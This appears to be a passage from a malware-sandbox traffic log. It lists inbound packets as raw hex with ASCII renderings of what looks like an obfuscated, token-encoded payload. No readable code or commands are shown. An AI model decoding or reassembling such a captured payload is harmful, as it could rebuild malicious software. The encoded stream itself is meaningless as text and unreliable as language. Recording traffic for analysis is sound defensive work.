2021-11-09 21:21:48 UTC	28	IN	Data Raw: 51 6b 20 4b 4b 20 4f 78 4f 20 4f 78 6f 20 4b 59 20 45 6f 20 6f 52 20 6b 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 52 20 4f 78 6f 20 59 51 20 45 6b 20 59 45 20 4f 6b 4b 20 52 4f 20 4f 6f 6f 20 6f 59 4f 20 4b 20 4b 4f 20 6f 52 20 51 59 20 59 78 20 59 4b 20 51 4b 20 4f 20 4f 78 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 4f 20 59 6f 20 45 4b 20 51 45 20 4f 6f 6f 20 6f 52 20 74 74 20 4f 4f 6f 20 59 78 20 59 4b 20 45 45 20 59 78 20 4f 45 6b 20 4f 4f 51 20 6b 45 20 4f 74 51 20 4f 4f 6f 20 45 6b 20 6f 52 20 45 59 20 59 78 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 74 4b 20 4f 4f 4b 20 4f 74 20 6f 45 51 20 4f 4f 6f 20 4b 51 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 6f 20 4f 4f 6f 20 6f Data Ascii: Qk KK OxO Oxo KY Eo oR kQ kK OOK Oot OxR Oxo YQ Ek YE OkK RO Ooo oYO K KO oR QY Yx YK QK O Oxo OxQ OOo Yo YO Yo EK QE Ooo oR tt OOo Yx YK EE Yx OEk OOQ kE OtQ OOo Ek oR EY Yx OoR OOK OOt Oxk QR Yx Kk Yx YK tK OOK Ot oEQ OOo KQ RE Yx YK kY OxY RQ Oxo OOo o
2021-11-09 21:21:48 UTC	29	IN	Data Raw: 78 20 4b 6b 20 59 52 20 52 4f 20 6b 52 20 4f 4f 52 20 74 20 6f 4b 78 20 4f 4f 74 20 59 78 20 52 4b 20 59 45 20 4b 51 20 6f 4f 6b 20 6f 74 20 51 51 20 52 51 20 4f 78 74 20 59 78 20 4b 6b 20 59 6f 20 6f 52 20 6b 6f 20 4f 20 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 4b 20 59 6f 20 6f 6b 20 74 4f 20 52 52 20 4f 6f 74 20 4f 78 51 20 6f 4b 4f 20 59 78 20 4b 6b 20 59 78 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 59 20 52 4b 20 4f 45 59 20 59 59 20 59 4b 20 45 52 20 51 78 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 45 6b 20 6f 52 20 52 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 4f 4f 6b 20 6f 52 20 74 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 51 20 4f 4f 51 20 6f 59 45 20 45 74 20 4b 6b 20 59 78 20 4b 59 20 4f 4f 45 20 4f 78 Data Ascii: x Kk YR RO kR OOR t oKx OOt Yx RK YE KQ oOk ot QQ RQ Oxt Yx Kk Yo oR ko O K OxQ OOo YR tK Yo ok tO RR Oot OxQ oKO Yx Kk Yx EY kK OOK Oxx OOO OOY RK OEY YY YK ER Qx kO OxQ OOo Yo Ek oR RQ kK OOK Oot OxE OOk oR tx Yx YK QK OoO OOQ OOQ oYE Et Kk Yx KY OOE Ox
2021-11-09 21:21:48 UTC	30	IN	Data Raw: 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4f 20 45 4f 20 52 52 20 4b 6b 20 59 78 20 52 78 20 6b 74 20 4f 4f 6b 20 51 45 20 74 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 6b 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 45 20 6b 4b 20 4f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 45 45 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 4b 20 4f 4f 45 20 4f 4f 4f 20 6f 59 4b 20 45 4f 20 59 6f 20 45 6b 20 52 78 20 4f 45 6b 20 51 6b 20 4f 4f 51 20 4f 78 59 20 4f 4f 59 20 6f 52 20 74 4b 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 74 4f 20 4f 78 4b 20 6b 52 20 45 Data Ascii: ORo OEY OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk oR kk kK OOK Oot OOO EO RR Kk Yx Rx kt OOk QE tK OOo Yx YK QE kt kK OOK Oot tO OOo Yx KE o YE kK OOO OOt OxQ OOo EE Kk Yx EQ kR QK OOE OOO oYK EO Yo Ek Rx OEk Qk OOQ OxY OOY oR tK Yx YK QK Oox OtO OxK kR E
2021-11-09 21:21:48 UTC	32	IN	Data Raw: 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 74 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 59 20 4f 4f 51 20 45 74 20 4f 78 4b 20 59 74 20 4b 51 20 6b 52 20 6f 51 20 6f 4b 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 20 6f 6f 74 20 4b 6b 20 59 51 20 6f 4b 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 4b 20 6f 20 4b 6b 20 45 78 20 45 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 45 78 20 4b 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 52 4b 20 51 45 20 4f 45 20 4f 4f 6f 20 59 78 20 59 6b 20 4b 6b 20 6b 51 20 59 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 78 20 59 78 20 4b 6b 20 4b 4f 20 52 20 6b 52 20 4f 4f 4b 20 51 4b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 59 4b 20 52 51 20 4f 4f 6f 20 51 45 20 6b 4f 20 4f 4f 6f 20 59 78 20 59 6b 20 45 78 20 52 Data Ascii: o OOo Yx Yk QE OtR kK OOK Oot tY OOQ Et OxK Yt KQ kR oQ oKO OxQ OOo YR o oot Kk YQ oKY OOt OxQ Ooo oK o Kk Ex EO OOK OOt OxE kk Ex Kk Yx Kk OoR RK QE OE OOo Yx Yk Kk kQ YE OOK OOt OxE Qx Yx Kk KO R kR OOK QK OxQ OOo Yx YK Yx YK RQ OOo QE kO OOo Yx Yk Ex R
2021-11-09 21:21:48 UTC	33	IN	Data Raw: 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 4f 78 51 20 4f 4f 6f 20 45 59 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f 4f 78 20 45 4f 20 59 4b 20 4b 51 20 59 78 20 4b 6b 20 52 74 20 4f 6f 78 20 4f 74 4f 20 4f 78 4b 20 6b 52 20 45 52 20 59 6b 20 6f 45 52 20 59 4b 20 6b 6f 20 6b 6b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 4f 20 4f 6f 59 20 4f 4f 6f 20 59 59 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 4f 20 4f 4f 6f 20 6f 78 20 4b 6b 20 59 78 20 59 4b 20 74 51 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 52 59 20 51 4f 20 59 4f 20 59 4b 20 6b 6f 20 45 59 20 4f 4f 6b 20 4f 4f 4f 20 4f 4f 20 4b 6b 20 4b 6b Data Ascii: OOk RK Kk Kk Et YK kK OOK OOx OxQ OOo EY Yx tE Yo kK OOK OOE OOx EO YK KQ Yx Kk Rt Oox OtO OxK kR ER Yk oER YK ko kk OOt Oxk QR Yx Kk Yx YK kK OOK OxO OoY OOo YY RE Yx YK kY OxY RQ OOO OOo ox Kk Yx YK tQ OOK OOt OoK OOY RY QO YO YK ko EY OOk OOO OO Kk Kk
2021-11-09 21:21:48 UTC	34	IN	Data Raw: 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 74 20 52 4f 20 4b 6b 20 59 59 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 59 20 4f 78 51 20 4f 4f 6f 20 45 59 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f 4f 78 20 45 4f 20 52 45 20 4b 51 20 59 78 20 4b 6b 20 51 4b 20 4f 74 6f 20 4f 4f 6f 20 74 59 20 4f 78 6f 20 59 52 20 6f 45 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 6f 20 51 6b 20 4f 4f 6f Data Ascii: ot OtQ OOt ox Ek YR oEo kK OOR QY OxQ OOo YO Eo Yx YK kK OOK OOt OxQ Oot RO Kk YY Yt kK OOK OOR OOk RK Kk Kk ER YK kK OOK OxY OxQ OOo EY Yx tE Yo kK OOK OOE OOx EO RE KQ Yx Kk QK Oto OOo tY Oxo YR oEk Yx Kk OoR OOK OOt Oxk QR Yx Kk Yx YK kK OOK Ooo Qk OOo
2021-11-09 21:21:48 UTC	36	IN	Data Raw: 4f 4f 6f 20 4f 4b 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 4b 51 20 6b 51 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 4f 6f 6f 20 6f 45 52 20 59 45 20 6f 78 20 45 6f 20 51 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 52 45 20 52 4f 20 59 4b 20 6b 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 4b 4f 20 78 20 4b 6b 20 59 4b 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 6b 20 59 78 20 4b 6b 20 45 59 20 59 6f 20 4b 74 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 4b 51 20 51 59 20 45 6b 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f Data Ascii: OOo OK OOO OOo Yx Yo KQ kQ QK OOY OOt Oxt Ooo oER YE ox Eo QK Oto OOt Oxt Qx Yx Kk YO Ek kK OOK OOt OxQ OOo Yx RE RO YK kO OoY OOt OxQ OOE KO x Kk YK RR OOK OOt OxQ Oxk Yx Kk EY Yo Kt OOo OOt OxQ OOR KQ QY Ek YY kK OOR Oot OtQ OOt ox Ek YR oEo kK OOR QY O
2021-11-09 21:21:48 UTC	37	IN	Data Raw: 20 59 78 20 59 4b 20 52 51 20 51 51 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4f 6f 20 6b 52 20 4f 78 4f 20 6f 52 20 45 52 20 4f 4f 6f 20 59 78 20 59 4b 20 4b 6b 20 45 78 20 4f 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 78 20 59 78 20 45 59 20 6f 20 59 6f 20 6b 4b 20 59 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 74 20 51 4b 20 4b 51 20 4f 4f 4f 20 4f 4f 20 4b 6b 20 4b 6b 20 59 78 20 59 78 20 4f 6f 78 20 74 6b 20 4f 4f 51 20 6f 6f 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 4b 20 52 74 20 6f 4f 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 45 4f 20 59 4f 20 6f 78 20 6f 51 20 6b 4f 20 6f 51 20 6f 45 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 Data Ascii: Yx YK RQ QQ OOt OxK Oot Yx Kk YO Oo kR OxO oR ER OOo Yx YK Kk Ex OQY OOK OOt OxE Qx Yx EY o Yo kK Yk OOt OxQ OOo Yx Kk Yx YK kt QK KQ OOO OO Kk Kk Yx Yx Oox tk OOQ oo OOK Yx Kk YK Rt oOY OOK OOt Oxk kY EO YO ox oQ kO oQ oEt OxQ OOo YR Yx tE Yo kK OOK OOE
2021-11-09 21:21:48 UTC	38	IN	Data Raw: 6b 6f 20 51 4b 20 4f 59 52 20 4f 78 78 20 51 51 20 59 59 20 45 4b 20 59 59 20 52 51 20 6f 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 4b 45 20 4b 51 20 59 78 20 4b 6b 20 74 78 20 4f 4f 51 20 51 74 20 52 51 20 4f 6b 45 20 59 4f 20 4b 6b 20 59 6f 20 52 51 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 6f 20 45 4b 20 59 59 20 52 6b 20 4f 6b 6f 20 4f 4f 74 20 4f 4f 74 20 6f 51 20 6b 6b 20 4f 4b 4f 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 74 20 4f 78 52 20 4f 4f 59 20 6f 20 52 4b 20 59 78 20 4b 6b 20 59 6f 20 6f 74 20 6b 6f 20 4f 20 6f 4f 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 4b 20 4f 6b 20 6f 6f 6f 20 6b 74 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78 20 4b 6b 20 59 52 20 4b 6b 20 52 51 20 4f 4f 51 20 4f 78 45 20 4f 78 74 Data Ascii: ko QK OYR Oxx QQ YY EK YY RQ oOR OOY OOt Oxt kk OKE KQ Yx Kk tx OOQ Qt RQ OkE YO Kk Yo RQ OQK OOK OOt OxE QQ Yo EK YY Rk Oko OOt OOt oQ kk OKO KQ Yx Kk Oot OxR OOY o RK Yx Kk Yo ot ko O oOE OxQ OOo YR tK Ok ooo kt OOK OOt RQ oEQ Yx Kk YR Kk RQ OOQ OxE Oxt
2021-11-09 21:21:48 UTC	40	IN	Data Raw: 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 74 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 78 20 45 52 20 6f 78 4b 20 4b 6b 20 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 4f 78 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 4f 78 51 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 6f 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 74 20 45 52 20 6f 78 4b 20 4b 6b 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 Data Ascii: Yo OKR oE Kt RK OKx OOY YK OOo Yx YK RY OkE kK OOK OOY oxt kY Kx ER oxK Kk k OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OOx OoO OKo Yo OxQ Yx YK ko O oKK OxQ OOo Yo OKR oE Ko RK OKx OOY Yx OOo Yx YK RY OkE kK OOK OOY oxt kY Kt ER oxK Kk Yo OOK OOt Oxt E OtQ Kk Yx
2021-11-09 21:21:48 UTC	41	IN	Data Raw: 20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 51 45 20 59 59 20 6b 4b 20 4f 4f 52 20 6b 78 20 45 78 20 4f 78 59 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 45 59 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 59 20 52 59 20 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 6f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 59 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 6f 59 4f 20 59 4f 20 4b 6b 20 59 6f 20 4f 51 20 45 51 20 6f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 74 51 20 59 4f 20 59 4b 20 6b 6f 20 6b 74 20 52 20 4f 51 52 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 74 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 45 20 4f 59 4b 20 4b 6b 20 59 78 20 52 78 20 59 51 20 6f 59 4f 20 4f 4f 52 20 4f 78 51 20 4f Data Ascii: Kk OOE O oOx OxQ OOo YR QY QE YY kK OOR kx Ex OxY Yx Kk YR kQ EY OOY OOt Oxt kY RY R Yx YK QK oQ Oo Oxk OOo Yo oO RY OYk kK OOK Oot o oYO YO Kk Yo OQ EQ oOk OOt OxQ Ooo QE tQ YO YK ko kt R OQR OOo Yx Yk QE tt kY OOK OOY to E OYK Kk Yx Rx YQ oYO OOR OxQ O
2021-11-09 21:21:48 UTC	42	IN	Data Raw: 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f 59 20 4b 51 20 59 78 20 59 4b 20 6f 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 74 20 59 78 20 4b 6b 20 59 78 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52 4b 20 4b 51 20 4b 6b 20 6b 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 4f 4f 6f 20 45 59 20 4b 74 20 4b 52 20 45 78 20 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 20 74 4b 20 59 52 20 59 78 20 74 78 20 4f 6f 4b 20 74 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 59 4b 20 6f 52 20 4f 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 59 20 74 78 20 59 6f 20 52 74 20 6b 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 45 20 4f 51 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 4f 4f 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f Data Ascii: kK OOK OOt OxQ OOo OOY KQ Yx YK oo OOY OOt OxQ OOt Yx Kk Yx Yt kK OOK OOR OOk RK KQ Kk kx YK kK OOK kY OxQ OOo EY Kt KR Ex R OOK OOt OxE o tK YR Yx tx OoK tY OOt OxQ Ooo YR YK oR OYK kK OOK Oot RY tx Yo Rt kR YK kK Oox QE OQo OOo Yx Yk oR OOR kK OOK Oot O
2021-11-09 21:21:48 UTC	44	IN	Data Raw: 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4b 59 20 4f 78 52 20 4f 4f 45 20 59 78 20 59 6f 20 74 52 20 4b 51 20 6b 59 20 4f 4f 4b 20 4f 4f 45 20 6f 6f 20 6f 78 45 20 59 78 20 4b 6b 20 59 52 20 74 6f 20 6b 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 59 6f 20 4b 51 20 59 78 20 59 78 20 4f 6f 4f 20 52 52 20 51 51 20 45 4f 20 6f 45 78 20 59 6b 20 4b 6b 20 52 52 20 45 4b 20 4f 45 6f 20 4f 6f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 4f 78 4f 20 6f 4b 6b 20 6f 6f 4b 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 52 52 20 4f 78 6f 20 51 45 20 6f 78 51 20 4f 4f 6f Data Ascii: t OxQ OOK oR OER Yx YK QK Qx oxK OxQ OOo YR oK OER YK kK Oox oKY OxR OOE Yx Yo tR KQ kY OOK OOE oo oxE Yx Kk YR to kE OOY OOt OxY OK Yo KQ Yx Yx OoO RR QQ EO oEx Yk Kk RR EK OEo OoR OOt OxQ OOK oR OER Yx YK QK OxO oKk ooK OOo Yx KQ oE Eo RR Oxo QE oxQ OOo
2021-11-09 21:21:48 UTC	45	IN	Data Raw: 20 4b 6b 20 4f 4f 52 20 59 4b 20 74 6f 20 4f 52 20 4f 4f 74 20 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 6b 52 20 51 78 20 4f 74 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 51 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4b 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f 6b 6f 20 4b 6b 20 45 78 20 4f 6b 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 4f 4b 20 4b 6b 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 78 52 20 74 78 20 4f 78 4f 20 4f 4f 4b 20 4b 51 20 59 6f 20 6f 52 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 4f 52 20 52 74 20 59 6f 20 52 74 20 4f 59 45 20 59 4b 20 Data Ascii: Kk OOR YK to OR OOt QQ OOo Yx Kk Yx OtR kR Qx OtO OxQ OOo Yo QY Q YK kK OOR kx OOt Rt Yk Yx KQ Yx OoK KE OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK Oko Kk Ex OkE OOK OOt Oxt EO OK Kk Yx Kk OOE OxR tx OxO OOK KQ Yo oR Oxk kK OOK OOY OOR Rt Yo Rt OYE YK
2021-11-09 21:21:48 UTC	46	IN	Data Raw: 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 6b 51 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 4b 78 20 4f 20 52 6f 20 6b 52 20 4f 4f 45 20 4f 4f 45 20 52 51 20 4f 74 20 59 78 20 4b 6b 20 59 6f 20 4b 74 20 4f 78 45 20 4f 4f 52 20 52 20 4f 51 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 74 6f 20 6f 6b 20 6f 4b 6f 20 4f 4f 45 20 6f 52 20 59 52 20 4f 4f 45 20 59 78 20 59 4b 20 45 78 20 6f 6f 20 6b 52 20 51 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 4f 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4b Data Ascii: OOt Oxt kk OkQ Kk Yx Kk YQ Kk OOt OxQ OOk oE Kx O Ro kR OOE OOE RQ Ot Yx Kk Yo Kt OxE OOR R OQk OOo Yx Yk to ok oKo OOE oR YR OOE Yx YK Ex oo kR Qx OoK OxQ OOo Yo QY OO YK kK OOR kx OOt Rt Yk Yx KQ Yx OoK OR OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK K
2021-11-09 21:21:48 UTC	48	IN	Data Raw: 4f 78 51 20 4f 4f 6b 20 59 52 20 4b 74 20 52 4f 20 4f 6b 74 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20 45 52 20 45 52 20 6f 78 4b 20 4b 6b 20 45 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 51 6b 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 52 74 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 52 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 6f 59 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 45 20 45 52 20 6f 78 4b 20 4b 6b 20 45 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 4f 4f 20 4f 6f 4f 20 4f 4b 6f 20 59 6f Data Ascii: OxQ OOk YR Kt RO Okt Qx OOK OOt OOO kY ER ER oxK Kk Ek OOK OOt Oxt E OtQ Kk Yx Kk oKR kt Qk OoO OKo Yo Rt Yx YK ko O oKK OxQ OOo Yo OKR oE KR RK OKx OOY oY OOo Yx YK RY OkE kK OOK OOY oxt kY KE ER oxK Kk EE OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OOO OoO OKo Yo
2021-11-09 21:21:48 UTC	49	IN	Data Raw: 59 45 20 59 78 20 59 78 20 4b 6b 20 45 51 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 45 6f 20 59 78 20 59 4b 20 4f 6f 74 20 51 78 20 4f 78 78 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 6f 4b 20 4f 6b 52 20 59 4b 20 6b 4b 20 4f 4f 52 20 51 59 20 74 59 20 4f 4f 59 20 59 4b 20 59 45 20 6f 52 20 51 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 78 20 6b 4b 20 6b 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 59 20 4b 6b 20 59 78 20 45 51 20 6b 78 20 4f 20 6f 4b 51 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 4b 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 45 4f 20 59 4f 20 4b 6b 20 59 6f 20 4f 51 20 45 51 20 4f 78 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 74 4f 20 59 4f 20 59 4b 20 6b 6f 20 Data Ascii: YE Yx Yx Kk EQ oOY OOt OxQ Ooo oR Eo Yx YK Oot Qx Oxx OxQ OOo oY oK OkR YK kK OOR QY tY OOY YK YE oR QY kK OOK OOY tO OOo Yx KE o Yx kK kt OOR OxQ OOo KY Kk Yx EQ kx O oKQ Oxk OOo Yo oO RY OKY kK OOK Oot o EO YO Kk Yo OQ EQ Oxt OOt OxQ Ooo QE tO YO YK ko
2021-11-09 21:21:48 UTC	50	IN	Data Raw: 4b 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 4b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4b 52 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 6b 20 4f 78 51 20 4f 6b 20 59 78 20 4b 6b 20 59 78 20 6f 6f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4b 20 4f 78 6b 20 6f 52 20 51 6b 20 59 78 20 59 4b 20 51 4b 20 78 20 4f 45 20 4f 78 4f 20 